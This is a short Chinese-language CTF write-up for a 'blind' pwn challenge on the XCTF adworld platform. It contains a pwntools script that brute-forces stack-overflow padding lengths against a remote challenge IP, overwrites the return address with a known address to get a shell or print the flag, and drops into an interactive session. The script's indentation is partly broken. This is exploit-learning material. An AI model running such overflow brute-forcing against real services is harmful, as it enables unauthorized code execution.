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题目地址: https://adworld.xctf.org.cn/

题目:

嘶, 碰过的第一个盲打的题, nc连上之后只有一个地址, 这个地址肯定是个有用的地址, 应该就是可以执行 system("/bin/sh")或
者 system(“cat flag”)的地址。

提供了一个输入, 应该是可以进行栈溢出, 不然就太难了。尝试一下, 不过不知道要填充的长度也不知道是64位还是32位的。
我们只有挨个尝试, 写个exp如下:
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from pwn import *
ret_addr = 0x40060d

def fuzz(p, n, flag):
 payload = 'a' * n
 if flag==1:
     payload += p32(ret_addr)
 if flag==2:
     payload += p64(ret_addr)
 p.recvuntil(">")
 p.sendline(payload)

def main():
 for i in range(1000):
     print(i)
     for j in range(1, 3):
  try:
      p = remote('111.200.241.244',45566)
      fuzz(p, i, j)
      print p.recv()   
      p.interactive()
  except:
      p.close()
main()
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